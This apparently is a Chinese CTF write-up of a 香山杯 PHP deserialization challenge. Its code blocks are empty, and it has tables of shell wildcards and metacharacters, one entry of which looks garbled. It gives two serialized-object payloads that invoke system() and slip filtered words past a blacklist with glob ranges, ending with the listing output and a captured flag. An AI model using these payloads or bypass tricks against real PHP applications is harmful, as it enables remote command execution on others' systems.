绕过Linux通配符+单个字符(香山杯php反序列化)
题目源代码:
1  |  | 
那么是php反序列化,判断一下顺序

exp:
1  |  | 
但是绕过单个的flag、*和?是一个问题,后来看到了这篇文章
https://www.secpulse.com/archives/96374.html
使用通配符绕过
| 字符 | 解释 | 
|---|---|
| * | 匹配任意长度任意字符 | 
| ? | 匹配任意单个字符 | 
| [list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 | 
| [^list] | 匹配指定范围外的任意单个字符或字符集合 | 
| [!list] | 同[^list] | 
| {str1,str2,…} | 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 | 
专用字符集
| 字符 | 意义 | 
|---|---|
| [:alnum:] | 任意数字或者字母 | 
| [:alpha:] | 任意字母 | 
| [:space:] | 空格 | 
| [:lower:] | 小写字母 | 
| [:digit:] | 任意数字 | 
| [:upper:] | 任意大写字母 | 
| [:cntrl:] | 控制符 | 
| [:graph:] | 图形 | 
| [:print:] | 可打印字符 | 
| [:punct:] | 标点符号 | 
| [:xdigit:] | 十六进制数 | 
| [:blank:] | 空白字符(未验证) | 
Linux shell 元字符,在使用通配符时如果没有进行转义可能就会被辨识为元字符
| 字符 | 作用 | 
|---|---|
| IFS | w3lc0m3 | 
| CR | 由 < enter > 产生 | 
| = | 设定变量 | 
| $ | 作变量或运算替换 | 
| > | 重导向标准输出 | 
| < | 重导向标准输入 | 
| | | 命令管线 | 
| & | 重导向文件描述符,或将命令静默执行 | 
| ( ) | 将其内的命令置于 nested subshell 执行,或用于运算或命令替换 | 
| { } | 将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围 | 
| ; | 在前一个命令结束时,而忽略其返回值,继续执行下一个命令 | 
| && | 在前一个命令结束时,若返回值为 true,继续执行下一个命令 | 
| || | 在前一个命令结束时,若返回值为 false,继续执行下一个命令 | 
| ! | 执行 history 中的命令 | 
payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:13:"/bin/[k-m]s /";}}}(注意ls实际是在/bin/ls目录下的)
回显bin boot dev etc f1ag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:51:"/usr/bin/sort /[e-h]1[!bcdehijkmnopqrstuvwxyz][e-h]";}}}
flag{6a889acc-e31b-4a1f-b966-28d4fc963192}
绕过Linux通配符+单个字符(香山杯php反序列化)
      http://example.com/2023/10/14/过滤通配符+单个字符(香山杯)/